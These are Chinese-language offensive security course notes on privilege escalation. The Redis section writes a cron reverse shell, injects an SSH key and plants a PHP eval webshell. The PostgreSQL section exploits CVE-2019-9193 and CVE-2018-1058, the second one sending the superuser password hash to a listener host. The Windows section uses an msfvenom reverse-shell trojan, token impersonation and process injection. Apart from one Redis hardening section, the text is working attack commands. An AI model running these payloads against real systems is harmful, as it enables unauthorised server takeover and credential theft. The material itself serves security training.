本課內容
- 案例1:Redis數據庫權限提升-計划任務
- 1、利用計划任務執行命令反彈shell
- 2、寫入ssh-keygen公鑰然后使用私鑰登陸
- 3、權限較低往web物理路徑寫webshell
- 4、修復方案
- 案例2:PostgreSQL數據庫權限提升-漏洞
- 1、PostgreSQL 高權限命令執行漏洞(CVE-2019-9193)
- 2、PostgreSQL 提權漏洞(CVE-2018-1058)
- 案例3:Windows2008&7令牌竊取提升-本地
- 案例4:Windows2003&10進程注入提升-本地
- 1、pinjector進程注入工具-針對win2008以前的操作系統
- 2、pexec64 32進程注入工具針對win2008及以后的操作系統-佛系
案例1:Redis數據庫權限提升-計划任務
Redis服務因配置不當,可被攻擊者惡意利用。黑客借助Redis內置命令,可將現有數據惡意清空;如果redis以root身份運行,黑客可往服務器上寫入SSH公鑰文件,直接登錄服務器。
連接Redis(利用未授權訪問漏洞或者用戶名密碼連接)后,可以利用如下方法提權
1、利用計划任務執行命令反彈shell
在redis以root權限運行時,可以寫crontab來執行命令反彈shell
先在自己服務器上監聽一個端口: nc -lvnp 8080 然后創建一個新的命令行: root@kali:~# redis-cli -h 192.168.223.132 192.168.223.132:6379> set xx "\n* * * * * bash -i >& /dev/tcp/192.168.223.135/8080 0>&1\n" OK 192.168.223.132:6379> config set dir /var/spool/cron/ OK 192.168.223.132:6379> config set dbfilename root OK 192.168.223.132:6379> save OK
nc監聽端口已經反彈回來shell(反彈回shell需要的時間比較久,大概幾分鍾的樣子):
2、寫入ssh-keygen公鑰然后使用私鑰登陸
利用條件
Redis服務使用ROOT賬號啟動
服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器
利用過程
1、在攻擊機生成一個公鑰文件: cd /root/.ssh/ #如果.ssh不存在的話,創建.ssh文件夾。 ssh-keygen -t rsa #執行完命令然后回車三次就結束了。 cat id_rsa.pub 2、未授權或者弱口令訪問redis服務,並寫入公鑰: redis -h 192.168.223.132 登錄redis服務 config set dir /root/.ssh/ #設置保存路徑 config set dbfilename authorized_keys #設置保存文件名 set x "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdetfvTA3f2gkKLnyC8cRKNPmN54QlK1a+QFedlN3BzDAWR7BJmv5qMaXdwTa++upI1gHyOb50rNBSddeIbbbND3uQiNpzJOUaLxrITe6QvELc055Ya1NVcsWeGR/B42daBFua+aBQ0bTMvW6Ne3PiVcvoisSgHNKtFPu6mvV+LV9+r1w9nib/iQAba2u/YHf3bC2+SChs1dDdD4wPz4Qf2E4gWrxXWQIJzqDfuHWHjQkqoh/frSwdYp6PHPzToYWXaGDA/JMgMovokCtGNE9ovTMndkdS18nLkoYQowQFBpv7EJOnFBXj9KIsc2jOfytSie0YZjFt4Fj89+0UTetH4hdEqWg5oEELVVXVnjY3vhOcQFsBFgr1vV00tVmm1KVJ4nuJ0L2/xOBsFixr6LVspBWh/0EZDpTBoVVjDBj4QBZRzfo/kiv9jUYFE5olyoxABRHnPBGfw1bXS0IjiK6P7I1Egm1n77g0DMqwjCiLfY6UAznU7R9QN82NKyvAwGs= root@kali \n\n\n" #將公鑰寫入x鍵,用"\n\n\n"包裹住公鑰,並且跟公鑰之間用空格隔開 save # 保存 3、用私鑰進行登錄: ssh -i id_rsa 第一次登陸需要輸入yes
3、權限較低往web物理路徑寫webshell
當redis權限不高,並且服務器開着web服務,在redis有web目錄寫權限時,可以嘗試往web路徑寫webshell。
利用過程
1.將shell寫入web目錄(web目錄根據實際情況) root@kali:~# redis-cli -h 192.168.223.132 192.168.223.132:6379> config set dir /var/www/html/ OK 192.168.223.132:6379> config set dbfilename shell.php OK 192.168.223.132:6379> set x "<?php eval(@$_POST['a']); ?>" OK 192.168.223.132:6379> save OK 2.使用冰蠍等工具連接
4、修復方案
- 綁定需要訪問數據庫的IP。將127.0.0.1修改為需要訪問此數據庫的IP地址。
- 設置訪問密碼。在Redis.conf中requirepass字段后,設置添加訪問密碼。
- 修改Redis服務運行賬號。以較低權限賬號運行Redis服務,禁用賬號的登錄權限。
- 注意:以上操作,均需重啟Redis后才能生效。
1)禁止一些高危命令(重啟redis才能生效) 修改 redis.conf 文件,禁用遠程修改 DB 文件地址 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" 或者通過修改redis.conf文件,改變這些高危命令的名稱 rename-command FLUSHALL "name1" rename-command CONFIG "name2" rename-command EVAL "name3" 2)以低權限運行 Redis 服務(重啟redis才能生效) 為 Redis 服務創建單獨的用戶和家目錄,並且配置禁止登陸 groupadd -r redis && useradd -r -g redis redis 3)為 Redis 添加密碼驗證(重啟redis才能生效) 修改 redis.conf 文件,添加 requirepass mypassword (注意redis不要用-a參數,明文輸入密碼,連接后使用auth認證) 4)禁止外網訪問 Redis(重啟redis才能生效) 修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用 bind 127.0.0.1 在redis3.2之后,redis增加了protected-mode,在這個模式下,非綁定IP或者沒有配置密碼訪問時都會報錯。 5)修改默認端口 修改配置文件redis.conf文件 Port 6379 默認端口是6379,可以改變成其他端口(不要沖突就好) 6)保證 authorized_keys 文件的安全 為了保證安全,您應該阻止其他用戶添加新的公鑰。將 authorized_keys 的權限設置為對擁有者只讀,其他用戶沒有任何權限: chmod 400 ~/.ssh/authorized_keys 為保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限: chattr +i ~/.ssh/authorized_keys 然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 權限: chattr +i ~/.ssh 7)設置防火牆策略 如果正常業務中Redis服務需要被其他服務器來訪問,可以設置iptables策略僅允許指定的IP來訪問Redis服務。
參考:
https://www.cnblogs.com/sq-smile/p/14098579.html
http://blog.csdn.net/fly_hps/article/details/80937837
案例2:PostgreSQL數據庫權限提升-漏洞
提權利用的是漏洞:CVE-2019-9193、CVE-2018-1058
參考:https://vulhub.org/#/environments/postgres/
修復方案:升級版本或打上補丁
1、PostgreSQL 高權限命令執行漏洞(CVE-2019-9193)
PostgreSQL 是一款關系型數據庫。其9.3到11版本中存在一處“特性”,管理員或具有“COPY TO/FROM PROGRAM”權限的用戶,可以使用這個特性執行任意命令。
流程:連接-利用漏洞-執行-提權
<1>首先使用Navicat工具連接到PostgreSQL數據庫
<2>執行如下命令
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;
FROM PROGRAM語句將執行命令id並將結果保存在cmd_exec表中。
我們可以把id換成任意命令執行,比如pwd、ls、cat /etc/passwd等
2、PostgreSQL 提權漏洞(CVE-2018-1058)
PostgreSQL 是一款關系型數據庫。其9.3到10版本中存在一個邏輯錯誤,導致超級用戶在不知情的情況下觸發普通用戶創建的惡意代碼,導致執行一些不可預期的操作。
利用過程
1.先通過普通用戶vulhub:vulhub的身份登錄postgres: psql --host your-ip --username vulhub 2.執行如下語句后退出: CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$ select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2); $$ LANGUAGE SQL VOLATIL 3.然后我在10.0.0.1上監聽5433端口,等待超級用戶觸發我們留下的這個“后門”。 nc -lvnp 5433 4.(假裝自己是超級用戶)在靶場機器下,用超級用戶的身份執行如下pg_dump命令,導出vulhub這個數據庫的內容。 docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub, 5.執行上述命令的同時,“后門”已被觸發,10.0.0.1機器上已收到敏感信息。
案例3:Windows2008&7令牌竊取提升-本地
原理:進行遠程過程調用時請求提升權限,然后調用它從而生成特權安全令牌以執行特權操作。當系統允許令牌不僅用於進程本身,還用於原始請求進程時,漏洞就會出現。
令牌竊取方式在Windows2008之后的高版本操作系統已經沒用了,只能用於一些低版本系統。比如
- Microsoft Windows XP Professional SP3和之前版本
- Windows Server 2003 SP2和之前的版本
- Windows Server 2003 x64和x64 SP2
- Windows Server 2003 (用於基於Itanium的系統SP2和先前版本)
- Windows Server 2008 x32 x64
- Windows Server 2008 (用於基於Itanium的系統)
- Windows Vista SP1和之前的版本
- Windows Vista x64 SP1和之前的版本
本地提權實驗 流程:獲取會話-利用模塊-竊取令牌-提權
演示1:Windows7系統
<1>在本地msf服務器上(IP:114.215.191.57)執行以下命令,生成反彈shell木馬
msfvenom -p windows/meterpreter/reverse_tcp lhost=114.215.191.57 lport=5577 -f exe -o /root/xx.exe
<2>在本地msf服務器上執行以下命令,監聽端口
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp show options set lhost 0.0.0.0 set lport 6677 show options exploit
<3>將該木馬xx.exe,上傳到遠程目標服務器,並運行木馬程序。
<4>本地監聽到會話,查看權限為普通用戶xiaodi
<5>執行以下命令,利用模塊,竊取令牌,提權成功。
use incognito list_tokens -u impersonate_token "NT AUTHORITY\SYSTEM"
演示2:Windows2008系統
步驟與演示1相同,直接看結果,提權成功。
案例4:Windows2003&10進程注入提升-本地
進程注入提權是本地提權方式的一種較為老的安全技術了,利用的是注入進程的所有者實現權限共享機制,這類技術主要利用在Windows2008之前操作系統上。所以我們需要學習后續的本地提權更多的手法才能針對高版本的系統。
1、pinjector進程注入工具-針對win2008以前的操作系統
下載地址:https://www.tarasco.org/security/Process_Injector/processingector.zip
演示環境:Windows2003
<1>將pinjector工具上傳到目標服務器,運行以下命令
pinjector.exe //運行命令,查看用法 pinjector.exe -l //列出可注入的進程 pinjector.exe -p pid cmd.exe 6688 //注入到系統正常的服務里,監聽6688端口(一定要注入services.exe,查看后面是否為system運行)
<2>監聽6688端口,成功反彈shell,提權成功。
nc -nv ip 6688 (連接不上,原因防火牆開啟)
2、pexec64 32進程注入工具針對win2008及以后的操作系統-佛系
下載地址:https://www.blib.cn/soft/pexec.zip(下載地址已失效)
參考地址:https://www.cnblogs.com/LyShark/p/13785619.html(不知什么原因,原作者已將此內容刪除)
Windows10操作系統測試發現,提權失敗,降權成功了。。。